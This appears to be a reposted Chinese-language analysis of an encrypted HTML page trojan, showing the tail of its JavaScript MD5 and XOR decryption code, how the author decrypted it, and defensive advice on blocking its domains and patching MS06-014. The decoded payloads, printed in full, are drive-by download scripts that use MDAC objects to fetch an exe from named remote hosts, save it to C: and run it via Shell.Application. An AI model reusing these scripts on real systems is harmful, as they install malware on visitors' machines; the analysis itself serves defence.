hltm页面木马.txt

html木马 非原创

     a = this.md5_ii(a, b, c, d, x[i+ 0], 6 , -198630844);
     d = this.md5_ii(d, a, b, c, x[i+ 7], 10, 1126891415);
     c = this.md5_ii(c, d, a, b, x[i+14], 15, -1416354905);
     b = this.md5_ii(b, c, d, a, x[i+ 5], 21, -57434055);
     a = this.md5_ii(a, b, c, d, x[i+12], 6 , 1700485571);
     d = this.md5_ii(d, a, b, c, x[i+ 3], 10, -1894986606);
     c = this.md5_ii(c, d, a, b, x[i+10], 15, -1051523);
     b = this.md5_ii(b, c, d, a, x[i+ 1], 21, -2054922799);
     a = this.md5_ii(a, b, c, d, x[i+ 8], 6 , 1873313359);
     d = this.md5_ii(d, a, b, c, x[i+15], 10, -30611744);
     c = this.md5_ii(c, d, a, b, x[i+ 6], 15, -1560198380);
     b = this.md5_ii(b, c, d, a, x[i+13], 21, 1309151649);
     a = this.md5_ii(a, b, c, d, x[i+ 4], 6 , -145523070);
     d = this.md5_ii(d, a, b, c, x[i+11], 10, -1120210379);
     c = this.md5_ii(c, d, a, b, x[i+ 2], 15, 718787259);
     b = this.md5_ii(b, c, d, a, x[i+ 9], 21, -343485551);
    
     a = this.safe_add(a, olda);
     b = this.safe_add(b, oldb);
     c = this.safe_add(c, oldc);
     d = this.safe_add(d, oldd);
     }
     return Array(a, b, c, d);
    },
    
  hex_hmac_md5:function(key, data){ return this.binl2hex(this.core_hmac_md5(key, data)); },
  
  hex_md5:function(s){return this.binl2hex(this.core_md5(this.str2binl(s), s.length * this.chrsz));},
  
  md5:function(s){return(this.hex_md5(s));},

  md5_cmn:function(q, a, b, x, s, t){return this.safe_add(this.bit_rol(this.safe_add(this.safe_add(a, q), this.safe_add(x, t)), s),b);},

  md5_ff:function(a, b, c, d, x, s, t){return this.md5_cmn((b & c) | ((~b) & d), a, b, x, s, t);},

  md5_gg:function(a, b, c, d, x, s, t){return this.md5_cmn((b & d) | (c & (~d)), a, b, x, s, t);},

  md5_hh:function(a, b, c, d, x, s, t){return this.md5_cmn(b ^ c ^ d, a, b, x, s, t);},

  md5_ii:function(a, b, c, d, x, s, t){return this.md5_cmn(c ^ (b | (~d)), a, b, x, s, t);},

  md5_vm_test:function(){return hex_md5("abc") == "900150983cd24fb0d6963f7d28e17f72";},
  
  safe_add:
    function(x, y){
     var lsw = (x & 0xFFFF) + (y & 0xFFFF);
     var msw = (x >> 16) + (y >> 16) + (lsw >> 16);
     return (msw << 16) | (lsw & 0xFFFF);
    },
    
  str2binl:
    function(str){
     var bin = Array();
     var mask = (1 << this.chrsz) - 1;
     for(var i = 0; i < str.length * this.chrsz; i += this.chrsz)
     bin[i>>5] |= (str.charCodeAt(i / this.chrsz) & mask) << (i%32);
     return bin;
    },

  str_hmac_md5:function(key, data){ return binl2str(core_hmac_md5(key, data)); },

  str_md5:function(s){ return binl2str(core_md5(str2binl(s), s.length * this.chrsz));}
}



function performPage(strPass){
if(strPass){
document.cookie="password="+escape(strPass);
document.write(XOR(unescape(strHTML),STR.md5(strPass)));
return(false);}
var pass="%u5BC6%u5319%u53EF%u4EE5%u662F%u4E2D%u6587%uFF0C%u6216%u4EFB%u610F%u5B57%u7B26";
if(pass){
pass=unescape(pass);
document.write(XOR(unescape(strHTML),STR.md5(pass)));
return(false);}
}

performPage();
</script>


是不是比较晕啊，这么多代码，一个一个来分析下：
其中strHTML量是被加密后的代码字符串，
函数：function XOR(strV,strPass)是用来解密的，还设置了一个密码，嘿嘿，感觉挺搞笑的，js端设置密码！
主要看下最后一个函数了，我加入了一些注释：


 程序代码
function performPage(strPass){
if(strPass){
document.cookie="password="+escape(strPass);//将代码用escape加密后写入cookie中，判断是否已经执行过
document.write(XOR(unescape(strHTML),STR.md5(strPass)));//将上面的strHTML解密后执行
return(false);
}//判断strPass是否存在，存在则执行下面两语句。

var pass="%u5BC6%u5319%u53EF%u4EE5%u662F%u4E2D%u6587%uFF0C%u6216%u4EFB%u610F%u5B57%u7B26";//密码了
if(pass){
pass=unescape(pass);//将代码用unescape函数解密，等会我们就会看到了，稍等。
document.write(XOR(unescape(strHTML),STR.md5(pass)));//将上面的strHTML用XOR函数解密后执行。
return(false);
}
}


最好就是执行函数performPage()了。

下面我们看看其源码里都是什么东西：
将vip1.htm另存为本地。
先看看其密码是什么来：
将函数performPage修改为如下，然后浏览器浏览vip1.htm：


 程序代码
function performPage(strPass){
if(strPass){
//document.cookie="password="+escape(strPass);
//document.write(XOR(unescape(strHTML),STR.md5(strPass)));
return(false);
}

var pass="%u5BC6%u5319%u53EF%u4EE5%u662F%u4E2D%u6587%uFF0C%u6216%u4EFB%u610F%u5B57%u7B26";
if(pass){
pass=unescape(pass);
//document.write(XOR(unescape(strHTML),STR.md5(pass)));
document.write(pass);
return(false);
}
}
performPage();
</script>


浏览器显示：

 引用内容
密匙可以是中文，或任意字符


汗一个。下面看他木马代码怎么写的：
修改函数performPage以下部分如下：


 程序代码
function performPage(strPass){
if(strPass){
//document.cookie="password="+escape(strPass);
//document.write(XOR(unescape(strHTML),STR.md5(strPass)));
return(false);
}

var pass="%u5BC6%u5319%u53EF%u4EE5%u662F%u4E2D%u6587%uFF0C%u6216%u4EFB%u610F%u5B57%u7B26";
if(pass){
pass=unescape(pass);
//document.write(XOR(unescape(strHTML),STR.md5(pass)));
  //document.write(pass);
  document.getElementById( "muma" ).value = XOR(unescape(strHTML),STR.md5(pass));
return(false);
}
}
//performPage();
</script>
<textarea id="muma" name="muma" rows="10" cols="50"></textarea>
<script language=javascript>performPage();</script>


浏览下vip1.htm看看，strHTML的原始代码就出来了：


 程序代码
<script src=http://cs.cskick.cn/cs/c.js></script>
www.cuteqq.cn
<noscript>
<iframe src=*></iframe>
</noscript>
<script language="JavaScript">
<!--
document.writeln("<script>var cuteqq,cuteqq2,id,id2,id3,id4,idx,dk;cuteqq=\"http://www.kj1888.com/8.exe\";cuteqq2=\"\103\72\134\134\123\120\117\117\111\123\126\56\105\130\105\";id=\"classid\";id2=\"clsid:\";id3=\"BD96C556-65A3-11D0\";id4=\"-983A-00C04FC29E36\";idx=id2+id3+id4;dk=\"open\";try{var ado=(document.createElement(\"object\"));var d=1;ado.setAttribute(id,idx);var chilam=1;var cuteqqcn=ado.CreateObject(\"Microsoft.xmlHTTP\",\"\");var f=1;var cuteqq3=\"Ado\";var cuteqq4=\"db.St\";var cuteqq5=\"ream\";var g=1;var wwwcuteqqcn=ado.createobject(cuteqq3+cuteqq4+cuteqq5,\"\");var h=1;cuteqqcn.Open(\"GET\",cuteqq,0);cuteqqcn.Send();wwwcuteqqcn.type=1;var n=1;wwwcuteqqcn.open();wwwcuteqqcn.write(cuteqqcn.responseBody);wwwcuteqqcn.savetofile(cuteqq2,2);wwwcuteqqcn.close();var cuteqqcns=ado.createobject(\"ShelL.Application\",\"\");cuteqqcns.SHeLLeXecUte(cuteqq2,\"\",\"\",dk,0);}catch(chilam){};</script\>");
//-->
</script>
<script type="text/jscript">function init() { document.write("");}window.onload = init;</script>
<body oncontextmenu="return false" onselectstart="return false" ondragstart="return false">

上述代码修改格式：
<script>
var cuteqq,cuteqq2,id,id2,id3,id4,idx,dk;
cuteqq=\"http://www.kj1888.com/8.exe\";
cuteqq2=\"\103\72\134\134\123\120\117\117\111\123\126\56\105\130\105\";
id=\"classid\";
id2=\"clsid:\";
id3=\"BD96C556-65A3-11D0\";
id4=\"-983A-00C04FC29E36\";
idx=id2+id3+id4;
dk=\"open\";
try{var ado=(document.createElement(\"object\"));
var d=1;
ado.setAttribute(id,idx);
var chilam=1;
var cuteqqcn=ado.CreateObject(\"Microsoft.xmlHTTP\",\"\");
var f=1;
var cuteqq3=\"Ado\";
var cuteqq4=\"db.St\";
var cuteqq5=\"ream\";
var g=1;
var wwwcuteqqcn=ado.createobject(cuteqq3+cuteqq4+cuteqq5,\"\");
var h=1;
cuteqqcn.Open(\"GET\",cuteqq,0);
cuteqqcn.Send();
wwwcuteqqcn.type=1;
var n=1;
wwwcuteqqcn.open();
wwwcuteqqcn.write(cuteqqcn.responseBody);
wwwcuteqqcn.savetofile(cuteqq2,2);
wwwcuteqqcn.close();
var cuteqqcns=ado.createobject(\"ShelL.Application\",\"\");
cuteqqcns.SHeLLeXecUte(cuteqq2,\"\",\"\",dk,0);
}catch(chilam){};
</script\>"

简单吧，其实客户端的加密只不过是一个纸老虎而已！
木马exe文件地址也出来了，剩下来的朋友们就可以拿到样本来分析了！  


///////////

<base onmousemove="window.status=' ';return true">
<script language =javascript>
    var url,path;
    url="http://cool.47555.com/1xxxx.exe";
    path="C:\\boot.exe";
    try{
        var ado=(document.createElement("object"));
        var d=1;
        ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
        var e=1;
        var xml=ado.CreateObject("Microsoft.XMLHTTP","");
        var f=1;
        var ab="Adodb.";
        var cd="Stream";
        var g=1;
        var as=ado.createobject(ab+cd,"");
        var h=1;
        xml.Open("GET",url,0);
        xml.Send();
        as.type=1;
        var n=1;
        as.open();
        as.write(xml.responseBody);
        as.savetofile(path,2);
        as.close();
        var shell=ado.createobject("Shell.Application","");
        shell.ShellExecute(path,"","","open",0);
    }
catch(e){};
</script>
<OBJECT style="display:none" type="text/x-scriptlet" data="MK:@MSITStore:mhtml:c:\.mht!http://cool.47555.com/count.html::/%6C%65%66t.htm"></OBJECT>
<script src='http://s96.cnzz.com/stat.php?id=369194&web_id=369194&online=2' language='JavaScript' charset='gb2312'></script>
<script src="http://cool.47555.com/cc.js"></script>
现在基本上明了了，这段代码利用微软MS06-014公告(2006年4月－5月)列出的一个MDAC功能上的漏洞远程下一个代码然后运行，在系统盘根目录下放一个boot.exe文件（C盘就是 C:\Boot.exe），
用到的几个关键对象：
Microsoft.XMLHTTP
Adodb.Stream
Shell.Application
执行完毕后通过最后那两个脚本开始干坏事了。

而且，看代码就猜测是国人所为。

至于作者嘛，我看了上面涉及的URL
cool.47555.com
s96.cnzz.com
这两个域名都指向IP：58.215.65.21
随便找几个IP查询的一查，都是指向 江苏省无锡市电信这个地方。直接访问这个地址并没有挂哪个网站，估计是IDC机房里的某台托管服务器上被人做了手脚或是里面某个员工用自己的工作机干的蠢事了，代码很简单，就是利用一个漏洞来执行点东西，可这种行为却伤害了许多无辜的服务器和网民的电脑。我的小站算是被害了，程序又放在别人机子上，那个笨蛋网管搞了快1周了都没信息，居然说是我自己机子上的病毒，花了钱却心凉啊。

如果暂时没有杀毒软件或无法升级想看那些中了这个病毒的网站又怕病毒的话列出几个解决办法：
1. IE中将http://cool.47555.com和http://s96.cnzz.com 列入黑名单，或者直接将 58.215.65.21 列入黑名单
2. 如果你是公司局域网网管或有权力管自己的路由器的话，直接在路由器上封IP
如果有杀毒软件的话赶快先升级，我原来的2006年底某个版本(18.***)的瑞星都被这个病毒干掉了。
能出国访问呢，请根据微软MS06-014公告列出的漏洞下载补丁，这是最安全的。